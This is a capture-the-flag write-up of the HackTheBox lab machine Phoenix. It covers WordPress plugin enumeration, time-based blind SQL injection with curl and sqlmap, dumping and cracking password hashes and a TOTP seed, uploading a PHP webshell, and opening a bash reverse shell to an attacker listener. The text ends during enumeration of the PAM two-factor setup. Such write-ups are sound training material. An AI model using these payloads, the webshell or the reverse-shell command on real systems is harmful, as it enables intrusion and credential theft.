Phoenix starts off with a WordPress site using a plugin with a blind SQL injection. This injection is quite slow, and I think leads to the poor reception for this box overall. Still, very slow blind SQL injection shows the value in learning to pull out only the bits you need from the DB. I’ll get usernames and password hashes, but that leaves me at a two factors prompt. I’ll reverse enginner that plugin to figure out what I need from the DB, and get the seed to generate the token. From there, I’ll abuse another plugin to upload a webshell and get a shell on the box. The first pivot involves password reuse and understanding the pam 2FA setup isn’t enabled on one interface. The next pivot is wildcard injection in a complied shell script. I’ll dump the script out (several ways), and then use the injection to get a shell as root.

Box Info

Name Phoenix Phoenix
Play on HackTheBox
Release Date 05 Mar 2022
Retire Date 25 Jun 2022
OS Linux Linux
Base Points Hard [40]
Rated Difficulty Rated difficulty for Phoenix
Radar Graph Radar chart for Phoenix
First Blood User 02:55:36jazzpizazz
First Blood Root 03:21:08jazzpizazz
Creator jit



nmap found two open TCP ports, SSH (22), HTTP (80), and HTTPS (443):

oxdf@hacky$ nmap -p- --min-rate 10000
Starting Nmap 7.80 ( ) at 2022-06-24 20:44 UTC
Nmap scan report for phoenix.htb (
Host is up (0.10s latency).
Not shown: 65532 closed ports
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 7.92 seconds
oxdf@hacky$ nmap -p 22,80,443 -sCV
Starting Nmap 7.80 ( ) at 2022-06-24 20:44 UTC
Nmap scan report for phoenix.htb (
Host is up (0.091s latency).

22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http     Apache httpd
|_http-server-header: Apache
|_http-title: Did not follow redirect to https://phoenix.htb/
443/tcp open  ssl/http Apache httpd
|_http-generator: WordPress 5.9
| http-robots.txt: 1 disallowed entry 
|_http-server-header: Apache
|_http-title: Phoenix Security – Securing the future.
| ssl-cert: Subject: commonName=phoenix.htb/organizationName=Phoenix Security Ltd./stateOrProvinceName=Arizona/countryName=US
| Not valid before: 2022-02-15T20:08:43
|_Not valid after:  2032-02-13T20:08:43
| tls-alpn: 
|   h2
|_  http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 20.90 seconds

Based on the OpenSSH version, the host is likely running Ubuntu 20.04 focal. It’s interesting that Apache didn’t show a version number.

I’ll note that 80 is redirecting to https://phoenix.htb, and there’s a robots.txt disallowing /wp-admin/, which says this is likely WordPress.

The TLS certificate shows phoenix.htb, and manual inspection doesn’t give much else other than an email:


I’ll do a subdomain fuzz with wfuzz but not find anything else. I’ll add phoenix.htb to /etc/hosts.

Website - TCP 443


The site is for a security company:

image-20220214161152818Click for full size image

There’s a link to the “Details” that has more information:

image-20220215160556806Click for full size image

That page also has a link to the blog (https://phoenix.htb/?post_type=post):

There’s also a Forms page (https://phoenix.htb/forum/) which doesn’t have much activity yet:


There’s a lot of things I can try here that don’t lead to anything, like registering an account and trying to create forum posts.

Tech Stack

Based on the robots.txt file, the site is running WordPress. The response headers also confirm this:

HTTP/2 200 OK
Date: Tue, 15 Feb 2022 21:05:22 GMT
Server: Apache
Link: <https://phoenix.htb/wp-json/>; rel="", <https://phoenix.htb/wp-json/wp/v2/pages/92>; rel="alternate"; type="application/json", <https://phoenix.htb/>; rel=shortlink
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Vary: Accept-Encoding
Cache-Control: private, must-revalidate
Content-Length: 30594
Content-Type: text/html; charset=UTF-8

Still not much more information about Apache. Given it’s WordPress, the site will be hosted on PHP, which is confirmed by requesting index.php which loads the main page where index.html and index.[anything else] do not.


Given the site is running Wordpress, I’ll run wpscan against it. I registered for a free API key from their site (which I store in the environment variabled $WPSCAN_API) which allows me to get vulnerability results as well. I’ll make sure to enumerate users, all themes, and all plugins to look for issues:

oxdf@hacky$ wpscan --url https://phoenix.htb --enumerate u,at,ap --disable-tls-checks --api-token $WPSCAN_API

WordPress is running the latest version which doesn’t have any known issues:

[+] WordPress version 5.9 identified (Latest, released on 2022-01-25).
 | Found By: Rss Generator (Passive Detection)
 |  - https://phoenix.htb/feed/, <generator></generator>
 |  - https://phoenix.htb/comments/feed/, <generator></generator>

wpscan identifies a handful of plugins, two of which have vulnerabilities identified.

The scan also identifies a handful of users:

[i] User(s) Identified:

[+] John Smith
 | Found By: Rss Generator (Passive Detection)
 | Confirmed By: Rss Generator (Aggressive Detection)

[+] jsmith
 | Found By: Wp Json Api (Aggressive Detection)
 |  - https://phoenix.htb/wp-json/wp/v2/users/?per_page=100&page=1
 | Confirmed By:
 |  Author Sitemap (Aggressive Detection)
 |   - https://phoenix.htb/wp-sitemap-users-1.xml
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)

[+] phoenix
 | Found By: Wp Json Api (Aggressive Detection)
 |  - https://phoenix.htb/wp-json/wp/v2/users/?per_page=100&page=1
 | Confirmed By:
 |  Oembed API - Author URL (Aggressive Detection)
 |   - https://phoenix.htb/wp-json/oembed/1.0/embed?url=https://phoenix.htb/&format=json
 |  Author Sitemap (Aggressive Detection)
 |   - https://phoenix.htb/wp-sitemap-users-1.xml
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)

[+] john
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)

[+] jane
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)

[+] jack
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)

The first two users have a link, saying they were found via https://phoenix.htb/wp-json/wp/v2/users/?per_page=100&page=1. Visiting that shows details on these users:

image-20220215165146675Click for full size image

Seeing that the user Phoenix is the “WordPress Administrator” and is user id 1 is useful.


After running wpscan, the page returned differently:

oxdf@hacky$ curl https://phoenix.htb -k
        <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
        <title>Error response</title>
        <h1>Error response</h1>
        <p>Error code: 403</p>
        <p>Message: Forbidden.</p>
        <p>Error code explanation: 403 - This IP has been blocked for excessive brute forcing. Block will be lifted in 60 seconds.</p>

It seems there’s some brute force protection here. I’ll keep that in mind.

pie-register Vulnerabilities

pie-register has 14 identified vulnerabilities:

[+] pie-register
 | Location: https://phoenix.htb/wp-content/plugins/pie-register/
 | Latest Version: 
 | Last Updated: 2022-02-14T05:16:00.000Z
 | Found By: Urls In Homepage (Passive Detection)
 | Confirmed By: Urls In 404 Page (Passive Detection)
 | [!] 14 vulnerabilities identified:

However, at the bottom of this section, it says it couldn’t identify the version of this plugin (so it printed all known vulnerabilities):

 | The version could not be determined.

This plugin is all about creating registration forms. There is a registration link on the blog page:


And clicking leads to /registration:


Looking at the source for this page, there are several indications that the pie-register version is

image-20220215162533031Click for full size image

This eliminates all the vulnerabilities wpscan identified.

asgaros-forum Vulnerabilities

The other plugin with vulnerabilities is asgaros-forum, which I suspect is responsible for the forums:

[+] asgaros-forum
 | Location: https://phoenix.htb/wp-content/plugins/asgaros-forum/
 | Last Updated: 2022-01-30T12:54:00.000Z
 | [!] The version is out of date, the latest version is 2.0.0
 | Found By: Urls In Homepage (Passive Detection)
 | Confirmed By: Urls In 404 Page (Passive Detection)
 | [!] 4 vulnerabilities identified:
 | [!] Title: Asgaros Forum < 1.15.13 - Unauthenticated SQL Injection
 |     Fixed in: 1.15.13
 |     References:
 |      -
 |      -
 |      -
 | [!] Title: Asgaros Forums < 1.15.14 - Admin+ Stored Cross-Site Scripting
 |     Fixed in: 1.15.14
 |     References:
 |      -
 |      -
 |      -
 | [!] Title: Asgaros Forum < 1.15.15 - Admin+ SQL Injection via forum_id
 |     Fixed in: 1.15.15
 |     References:
 |      -
 |      -
 |      -
 | [!] Title: Asgaros Forum < 2.0.0 - Subscriber+ Blind SQL Injection
 |     Fixed in: 2.0.0
 |     References:
 |      -
 |      -
 |      -
 | Version: 1.15.12 (10% confidence)
 | Found By: Query Parameter (Passive Detection)
 |  - https://phoenix.htb/wp-content/plugins/asgaros-forum/skin/widgets.css?ver=1.15.12  

Of the four vulnerabilities identified, two require admin level access (XSS and SQLi), one requires “Subscriber” level access to get SQLI, and the top one is unauthenticated SQLI.

Shell as wp-user



Both of the SQL injections available to me (CVE-2021-24827 and CVE-2022-0411 (assuming I can create an account)) are both blind and time-based. I’ll start working with CVE-2021-24827, as it’s unauthenticated. I can get the POC from the wpscan page and try it:

oxdf@hacky$ time curl -k 'https://phoenix.htb/forum/?subscribe_topic=1%20union%20select%201%20and%20sleep(10)'>/dev/null
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 30784    0 30784    0     0   2937      0 --:--:--  0:00:10 --:--:--  9729

real    0m10.488s
user    0m0.013s
sys     0m0.007s

It takes about 10 seconds to return (the result thrown to /dev/null since it doesn’t matter). That fits since the payload is a 10 seconds sleep (url decoded):

/forum/?subscribe_topic=1 union select 1 and sleep(10)

If I change the sleep to sleep(1) the time matches:

oxdf@hacky$ time curl -k 'https://phoenix.htb/forum/?subscribe_topic=1%20union%20select%201%20and%20sleep(1)'>/dev/null
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 30781    0 30781    0     0  20896      0 --:--:--  0:00:01 --:--:-- 20896

real    0m1.483s
user    0m0.021s
sys     0m0.000s

There’s definitely SQL injection going on there.

sqlmap Identify

Time-based SQL injection is a pain to do manually, so I’ll turn to sqlmap. Given what I know about the vulnerability and that it’s WordPress (so probably using MySQL), I’ll give it parameters to speed up the test:

oxdf@hacky$ sqlmap --url "https://phoenix.htb/forum/?subscribe_topic=*" --dbms=mysql --technique=T
custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] 
[21:36:30] [WARNING] it seems that you've provided empty parameter value(s) for testing. Please, always use only valid parameter values so sqlmap could be able to run properly
[21:36:30] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('asgarosforum_unique_id=620c1cd656c1a;asgarosforum_unread_cleared=1000-01-01%...%3A00%3A00'). Do you want to use those [Y/n] 
[21:36:32] [INFO] checking if the target is protected by some kind of WAF/IPS
[21:36:33] [WARNING] heuristic (basic) test shows that URI parameter '#1*' might not be injectable
[21:36:33] [INFO] testing for SQL injection on URI parameter '#1*'
[21:36:33] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[21:36:33] [WARNING] time-based comparison requires larger statistical model, please wait............................ (done)
[21:36:46] [WARNING] URI parameter '#1*' does not seem to be injectable
[21:36:46] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. Rerun without providing the option '--technique'. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment') and/or switch '--random-agent'

It doesn’t find anything. Since I know it’s there, I’ll try more aggressively (adding --level 5). This takes a bit, but finds the injection:

oxdf@hacky$ sqlmap --url "https://phoenix.htb/forum/?subscribe_topic=*" --dbms=mysql --technique=T --level 5
[21:41:56] [INFO] testing 'MySQL >= 5.0.12 time-based blind - Parameter replace'
[21:42:07] [INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 time-based blind - Parameter replac
e' injectable 
for the remaining tests, do you want to include all tests for 'MySQL' extending provided risk (1) value?
[21:43:45] [INFO] checking if the injection point on URI parameter '#1*' is a false positive
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
sqlmap identified the following injection point(s) with a total of 481 HTTP(s) requests:
Parameter: #1* (URI)
    Type: time-based blind 
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace
    Payload: https://phoenix.htb:443/forum/?subscribe_topic=(CASE WHEN (8939=8939) THEN SLEEP(5) ELSE 89
39 END)
[21:45:04] [INFO] the back-end DBMS is MySQL
[21:45:04] [WARNING] it is very important to not stress the network connection during usage of time-base
d payloads to prevent potential disruptions 
back-end DBMS: MySQL >= 5.0.12

It takes about three minutes to find that, but sqlmap has the injection point now.

Dump Phoenix / John Smith Hash

I started trying to enumerate the DB, but it’s just too slow. Because the DB is supporting WordPress, the tables and columns are well documented. I could also install WordPress onto a local VM and look at it more closely.

For example, this page shows the columns in the wp_users table, which includes the user_pass. Because I know that Phoenix (user id 1) is the administrator, and John Smith (user id 5) is an author on the site, I’ll dump just their hashes using the syntax from above plus:

  • -D wordpress - Select the WordPress database
  • -T wp_users - Select the wp_users tables
  • -C id,user_pass - Select the id and user_pass columns
  • --where "ID=1 or ID=5" - Limit to only the two users who may be admins
  • --dump - Dump the data

This runs for about eight minutes, but does produce the two hashes:

oxdf@hacky$ sqlmap --url "https://phoenix.htb/forum/?subscribe_topic=*" --dbms=mysql --technique=T --level 5 -D wordpress -T wp_users -C id,user_pass --where "ID=1 or ID=5" --dump
sqlmap resumed the following injection point(s) from stored session:
Parameter: #1* (URI)
    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind - Parameter replace
    Payload: https://phoenix.htb:443/forum/?subscribe_topic=(CASE WHEN (8939=8939) THEN SLEEP(5) ELSE 8939 END)
[22:04:57] [INFO] testing MySQL
[22:04:57] [INFO] confirming MySQL
[22:04:57] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 8.0.0
[22:04:57] [INFO] fetching entries of column(s) '`id`, user_pass' for table 'wp_users' in database 'wordpress'
[22:04:57] [INFO] [INFO] fetching number of column(s) '`id`, user_pass' entries for table 'wp_users' in database 'wordpress'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] 
do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: wordpress
Table: wp_users
Database: wordpress
Table: wp_users
[2 entries]
| id   | user_pass                          |
| 1    | $P$BA5zlC0IhOiJKMTK.nWBgUB4Lxh/gc. |
| 5    | $P$BV5kUPHrZfVDDWSkvbt/Fw3Oeozb.G. |

[22:13:19] [INFO] table 'wordpress.wp_users' dumped to CSV file '/home/oxdf/.sqlmap/output/phoenix.htb/dump/wordpress/wp_users.csv'

Crack Hashes

The newer versions of hashcat will do mode detection for me which identifies these are mode 400, phppass, WordPress (MD5), Joomla (MD5):

$ /opt/hashcat-6.2.5/hashcat.bin hashes.txt /usr/share/wordlists/rockyou.txt 
hashcat (v6.2.5) starting in autodetect mode
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

400 | phpass | Generic KDF

That’s passwords for both users:


SSH - Fail

I’ll try each of these passwords with the username over SSH. I almost always connect with sshpass, but this is weird because it prints a banner, but then just returns to my local prompt:

oxdf@hacky$ sshpass -p 'phoenixthefirebird14' ssh phoenix@phoenix.htb
$$$$$$$\  $$\                                     $$\           
$$  __$$\ $$ |                                    \__|          
$$ |  $$ |$$$$$$$\   $$$$$$\   $$$$$$\  $$$$$$$\  $$\ $$\   $$\ 
$$$$$$$  |$$  __$$\ $$  __$$\ $$  __$$\ $$  __$$\ $$ |\$$\ $$  |
$$  ____/ $$ |  $$ |$$ /  $$ |$$$$$$$$ |$$ |  $$ |$$ | \$$$$  / 
$$ |      $$ |  $$ |$$ |  $$ |$$   ____|$$ |  $$ |$$ | $$  $$<  
$$ |      $$ |  $$ |\$$$$$$  |\$$$$$$$\ $$ |  $$ |$$ |$$  /\$$\ 
\__|      \__|  \__| \______/  \_______|\__|  \__|\__|\__/  \__|

I’ll drop out of sshpass and try entering the password manually:

oxdf@hacky$ ssh phoenix@phoenix.htb
$$$$$$$\  $$\                                     $$\           
$$  __$$\ $$ |                                    \__|          
$$ |  $$ |$$$$$$$\   $$$$$$\   $$$$$$\  $$$$$$$\  $$\ $$\   $$\ 
$$$$$$$  |$$  __$$\ $$  __$$\ $$  __$$\ $$  __$$\ $$ |\$$\ $$  |
$$  ____/ $$ |  $$ |$$ /  $$ |$$$$$$$$ |$$ |  $$ |$$ | \$$$$  / 
$$ |      $$ |  $$ |$$ |  $$ |$$   ____|$$ |  $$ |$$ | $$  $$<  
$$ |      $$ |  $$ |\$$$$$$  |\$$$$$$$\ $$ |  $$ |$$ |$$  /\$$\ 
\__|      \__|  \__| \______/  \_______|\__|  \__|\__|\__/  \__|

It prints the banner, but then asks for the password. Entering the password just reprompts for the password:

oxdf@hacky$ ssh phoenix@phoenix.htb
$$$$$$$\  $$\                                     $$\           
$$  __$$\ $$ |                                    \__|          
$$ |  $$ |$$$$$$$\   $$$$$$\   $$$$$$\  $$$$$$$\  $$\ $$\   $$\ 
$$$$$$$  |$$  __$$\ $$  __$$\ $$  __$$\ $$  __$$\ $$ |\$$\ $$  |
$$  ____/ $$ |  $$ |$$ /  $$ |$$$$$$$$ |$$ |  $$ |$$ | \$$$$  / 
$$ |      $$ |  $$ |$$ |  $$ |$$   ____|$$ |  $$ |$$ | $$  $$<  
$$ |      $$ |  $$ |\$$$$$$  |\$$$$$$$\ $$ |  $$ |$$ |$$  /\$$\ 
\__|      \__|  \__| \______/  \_______|\__|  \__|\__|\__/  \__|

Doesn’t seem like either of these work.



With creds, I’ll visit https://phoenix.htb/wp-admin/, which redirects to the /login page:


Regardless of which user I log in as, it pops a OTP prompt (which looks the same as the one used in Pressed):


TOTP Background

Time-based One-Time Passwords (TOTP) are a common form of second factor authentication. The idea is that an application (typically but not exclusively) on a phone is generating a new (typically) numeric password using a standardized algorithm that takes time as an input. When a user logs in, on giving their username and password, they are prompted to send this additional password either with the original creds or after. The TOTP algorithm is described in RFC-6238, but at a high level, the pointed needed for Phoenix are:

  • A seed value is generated and shared between the user and the application.
  • Each side stores the seed, the user typically in a phone application, and the site in the database associated somehow to the user.
  • When the user logs in, both sides use the public algorithm to generate a code from the seed, and then the result is compared to prove the user has access.

This is considered “something you have” as far as factors of authentication because for the average user they can’t generate the code without the phone that stores the seed.

I’ve run into this kind of two factor authentication before on HTB. In Static, there’s a corrupt SQLite DB that includes the username, hash, and TOTP secret.

Find Seed Location

The MiniOrange site has a lot of different options for different types of 2FA. Only one of them will work in a non-network connected lab like HackTheBox, the Google Authenticator version that uses TOTP as described above. That plugin can be downloaded here.

I’ll walk through the source analysis here:

The POST request ends up in two_fa_pass2login.php, which processes it and ends up here:

} else if ( isset( $mo2fa_login_status ) && $mo2fa_login_status == 'MO_2_FACTOR_CHALLENGE_GOOGLE_AUTHENTICATION' ) {
    $content = json_decode( $customer->validate_otp_token( 'GOOGLE AUTHENTICATOR', $user_email, null, $softtoken, get_option( 'mo2f_customerKey' ), get_option( 'mo2f_api_key' ) ), true );

The call to validate_otp_token ends up a few calls deeper at a call to mo2f_google_authenticator_onpremise:

function mo2f_google_authenticator_onpremise($otpToken){
    include_once dirname(dirname( __FILE__ )) . DIRECTORY_SEPARATOR. 'handler'.DIRECTORY_SEPARATOR. 'twofa' . DIRECTORY_SEPARATOR . 'gaonprem.php';
    $gauth_obj= new Google_auth_onpremise();
    $session_id_encrypt = isset( $_POST['session_id'] ) ? sanitize_text_field($_POST['session_id']) : null;
        $user = wp_get_current_user();
        $user_id = $user->ID;
        $user_id = MO2f_Utility::mo2f_get_transient($session_id_encrypt, 'mo2f_current_user_id');
    $secret= $gauth_obj->mo_GAuth_get_secret($user_id);
    $content=$gauth_obj->verifyCode($secret, $otpToken);
    return $content;

The two calls at the end, mo_GAuth_get_secret and verifyCode are what I’m looking for.

mo_GAuth_get_secret makes two calls to get_user_meta to get a key and an emcrypted secret, and then calls decrypt_data to decrpyt them.

function mo_GAuth_get_secret($user_id){
    global $Mo2fdbQueries;
    $key=get_user_meta( $user_id, 'mo2f_get_auth_rnd_string', true);
    $secret=get_user_meta( $user_id, 'mo2f_gauth_key', true);

    return $secret;

I’ll show it in WordPress Source the video above, but get_user_meta is a WordPress function for getting data from the wp_usermeta table.

Read Secret / Key

This describes the wp_usermeta table:


I’ll update my sqlmap to dump these for the phoenix user. For example, to get the key, I’ll use -T wp_usermeta -C meta_value --where "user_id=1 and meta_key = 'mo2f_get_auth_rnd_string'":

oxdf@hacky$ sqlmap --url "https://phoenix.htb/forum/?subscribe_topic=*" --dbms=mysql --technique=T --level 5 -D wordpress -T wp_usermeta -C meta_value --where "user_id=1 and meta_key = 'mo2f_get_auth_rnd_string'" --dump
Database: wordpress                                 
Table: wp_usermeta                                  
[1 entry]                                           
| meta_value |
| kHHxxX3f   |
oxdf@hacky$ sqlmap --url "https://phoenix.htb/forum/?subscribe_topic=*" --dbms=mysql --technique=T --level 5 -D wordpress -T wp_usermeta -C meta_value --where "user_id=1 and meta_key = 'mo2f_gauth_key'" --dump 
 Database: wordpress
Table: wp_usermeta
[1 entry]
| meta_value                                                                                                   |
| qGEPwI6RQBxF4aXM6PVuriofiwCH4mjc4ZjO3jWN5gDDX5MzLHTfDk3tRGK7vwkkTbAjoxNfqFeMjJZoSI5yPF25Hd5b8lSaF/Dpc6WMBTA= |

Decrypt Secret

Back in the source for the plugin, the secret and the key were passed todecrypt_data. It is a simple AES-128-CBC decryption:

public static function decrypt_data($data, $key) {
    $c = base64_decode($data);
    $ivlen = openssl_cipher_iv_length($cipher="AES-128-CBC");
    $iv = substr($c, 0, $ivlen);
    $hmac = substr($c, $ivlen, $sha2len=32);
    $ciphertext_raw = substr($c, $ivlen+$sha2len);
    $original_plaintext = openssl_decrypt($ciphertext_raw, $cipher, $key, $options=OPENSSL_RAW_DATA, $iv);
    $calcmac = hash_hmac('sha256', $ciphertext_raw, $key, $as_binary=true);

    return $original_plaintext;

The IV for AES-128-CBC is 16 bytes, and the default HMAC length is 32 bytes. I’ll pull the IV :

oxdf@hacky$ echo "qGEPwI6RQBxF4aXM6PVuriofiwCH4mjc4ZjO3jWN5gDDX5MzLHTfDk3tRGK7vwkkTbAjoxNfqFeMjJZoSI5yPF25Hd5b8lSaF/Dpc6WMBTA=" | base64 -d | xxd -p | tr -d '\n' | cut -c -32

Then, get from byte 49 (so character 97) and on as the ciphertext:

oxdf@hacky$ echo "qGEPwI6RQBxF4aXM6PVuriofiwCH4mjc4ZjO3jWN5gDDX5MzLHTfDk3tRGK7vwkkTbAjoxNfqFeMjJZoSI5yPF25Hd5b8lSaF/Dpc6WMBTA=" | base64 -d | xxd -p | tr -d '\n' | cut -c 97-

I’ll dump all this into CyberChef, but it breaks:


I’ll try 0-padding the key to 16 bytes, by converting it to hex, and adding 16 0s to the end. It works!


oathtool / Login

With that seed, I can generate the current OTP using oathtool:

oxdf@hacky$ oathtool -b --totp 'PDEEWIVJSIDWS6WO'

Submitting that works, and logs in:

Webshell Upload


The system is relatively well hardened. Many of the old tricks such as modifying a theme or uploading a plugin as disabled from both users.

However, looking at the installed plugins, “Download from files” sounds interesting. Goolging for it returns first the official plugin page, but second a PacketStorm page on shell upload:


Script Analysis

The script builds a url which for Phoenix will be:


It tests if the instance if vulnerable using by looking for the string “Sikeres” in the result. This instance should be vulnerable by that check:

oxdf@hacky$ curl -sk https://phoenix.htb/wp-admin/admin-ajax.php?action=download_from_files_617_fileupload | grep Sikeres
{"status":1,"message":"Sikeres a f\u00e1jl(ok) m\u00e1sol\u00e1sa."}

The rest is a simple POST request with the file.

Run Script

The help menu gives the arguments to pass:

oxdf@hacky$ python 
Download From Files <= 1.48 - Arbitrary File Upload
Author -> spacehen (
Usage: python3 [target url] [php file]
Ex: python3 ./shell.(php4/phtml)

It also says to use a shell ending in .php4 or .phtml. I’ll grab a simple webshell and save it as cmd.php4:

<?php system($_REQUEST['cmd']); ?>

When I run python https://phoenix.htb cmd.php4, it crashes out with all kinds of SSL/TLS errors. I’ll add verify=False to each of the requests calls to ignore the self-signed certificate. I’ll also add the following at the top just under the imports:

import urllib3

This disable warnings line isn’t necessary, but hides some annoying errors.

When I run it, it works:

oxdf@hacky$ python https://phoenix.htb cmd.php4 
Download From Files <= 1.48 - Arbitrary File Upload
Author -> spacehen (
Uploading Shell...
Shell Uploaded!

The webshell doesn’t execute:

oxdf@hacky$ curl -k https://phoenix.htb/wp-admin/cmd.php4?cmd=id
<?php system($_REQUEST['cmd']); ?>

The server is not processing .php4 files as PHP. I’ll rename the shell to .phtml and try again:

oxdf@hacky$ python https://phoenix.htb cmd.phtml 
Download From Files <= 1.48 - Arbitrary File Upload
Author -> spacehen (
Uploading Shell...
Shell Uploaded!
oxdf@hacky$ curl -k https://phoenix.htb/wp-admin/cmd.phtml?cmd=id
uid=1001(wp_user) gid=1001(wp_user) groups=1001(wp_user)

It works.


To get a shell, I’ll change the data into a POST request and have curl url-encode it:

oxdf@hacky$ curl -k https://phoenix.htb/wp-admin/cmd.phtml --data-urlencode 'cmd=id'
uid=1001(wp_user) gid=1001(wp_user) groups=1001(wp_user)

Now I’ll replace id with a reverse shell. On running, it hangs:

oxdf@hacky$ curl -k https://phoenix.htb/wp-admin/cmd.phtml --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/ 0>&1"'

But there’s a shell at nc:

oxdf@hacky$ nc -lnvp 443
Listening on 443
Connection received on 51944
bash: cannot set terminal process group (818): Inappropriate ioctl for device
bash: no job control in this shell

I’ll upgrade my shell using script:

wp_user@phoenix:~/wordpress/wp-admin$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
wp_user@phoenix:~/wordpress/wp-admin$ ^Z
[1]+  Stopped                 nc -lnvp 443
oxdf@hacky$ stty raw -echo; fg
nc -lnvp 443
reset: unknown terminal type unknown
Terminal type? screen

Shell as editor



Interesting, this host has a second NIC:

wp_user@phoenix:/etc/security$ ifconfig
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet  netmask  broadcast
        inet6 dead:beef::250:56ff:feb9:396e  prefixlen 64  scopeid 0x0<global>
        inet6 fe80::250:56ff:feb9:396e  prefixlen 64  scopeid 0x20<link>
        ether 00:50:56:b9:39:6e  txqueuelen 1000  (Ethernet)
        RX packets 22883  bytes 2985758 (2.9 MB)
        RX errors 0  dropped 17  overruns 0  frame 0
        TX packets 14875  bytes 11304672 (11.3 MB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

eth0: flags=195<UP,BROADCAST,RUNNING,NOARP>  mtu 1500
        inet  netmask  broadcast
        inet6 fe80::4ae:36ff:fe5c:73f9  prefixlen 64  scopeid 0x20<link>
        ether 06:ae:36:5c:73:f9  txqueuelen 1000  (Ethernet)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 1270  bytes 93932 (93.9 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet  netmask
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 120  bytes 26822 (26.8 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 120  bytes 26822 (26.8 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

It’s not immediately clear what this is used for, but I’ll keep the IP in mind.

Home Directories

There are two users on the box with home directories:

wp_user@phoenix:/home$ ls
editor  phoenix

wp_user can’t access either.

Looking for users with shells defined in /etc/password returns the same two plus root:

wp_user@phoenix:/home$ cat /etc/passwd | grep 'sh$'
editor:x:1002:1002:John Smith,1,1,1,1:/home/editor:/bin/bash

I’ll note that John Smith’s name on the system is editor.

Local TOTP

Given that I have John Smith’s WordPress password, I’ll see if it works for the editor account.

Interestingly, if I try to su, the behavior isn’t typical. On my local VM, it prompts for a password:

oxdf@hacky$ su

But on Phoenix, it prompts for a verification code:

wp_user@phoenix:/home$ su - editor
Verification code: 

There is likely some kind of TOTP in place on Phoenix as well. With a new username, I’ll try SSH, and it asks for the password the same as it did above, but when I give it, this time it asks for a code:

oxdf@hacky$ ssh editor@phoenix.htb
Warning: Permanently added 'phoenix.htb' (ECDSA) to the list of known hosts.
$$$$$$$\  $$\                                     $$\           
$$  __$$\ $$ |                                    \__|          
$$ |  $$ |$$$$$$$\   $$$$$$\   $$$$$$\  $$$$$$$\  $$\ $$\   $$\ 
$$$$$$$  |$$  __$$\ $$  __$$\ $$  __$$\ $$  __$$\ $$ |\$$\ $$  |
$$  ____/ $$ |  $$ |$$ /  $$ |$$$$$$$$ |$$ |  $$ |$$ | \$$$$  / 
$$ |      $$ |  $$ |$$ |  $$ |$$   ____|$$ |  $$ |$$ | $$  $$<  
$$ |      $$ |  $$ |\$$$$$$  |\$$$$$$$\ $$ |  $$ |$$ |$$  /\$$\ 
\__|      \__|  \__| \______/  \_______|\__|  \__|\__|\__/  \__|
Verification code:

This result indicates the password is likely correct, but I don’t have the second factor.


Authentication for various access mechanisms on most Linux systems is handled by Pluggable Authentication Module, or PAM. The various configs are in /etc/pam.d:

wp_user@phoenix:/etc/pam.d$ ls
atd             common-password                other      su
chfn            common-session                 passwd     su-l
chpasswd        common-session-noninteractive  polkit-1   sudo
chsh            cron                           runuser    systemd-user
common-account  login                          runuser-l  vmtoolsd
common-auth     newusers                       sshd

I’ll pull the sshd file back to my VM, and diff it against my local unmodified version:

oxdf@hacky$ diff pam-ssh /etc/pam.d/sshd 
< auth [success=1 default=ignore] accessfile=/etc/security/access-local.conf
< auth required nullok user=root secret=/var/lib/twofactor/${USER}

As these two lines are non-standard, I’ll focus there.

The second line says to use, running as root, with the secrets in /var/lib/twofactor. I’ll look at that directory, and there are secrets, but only root can read them:

wp_user@phoenix:/var/lib/twofactor$ ls -l
total 12
-r-------- 1 root root 148 Feb 16 18:56 editor
-r-------- 1 root root 159 Jan 19 12:30 phoenix
-r-------- 1 root root 139 Jan 26 05:25 root

The other bit references an accessfile. From the pam man page:


Indicate an alternative access.conf style configuration file to override the default. This can be useful when different services need different access lists.

This file has two lines:

wp_user@phoenix:/etc/security$ cat access-local.conf 
+ : ALL :
- : ALL : ALL

This means that the configuration applies on access from, but not from anything else.

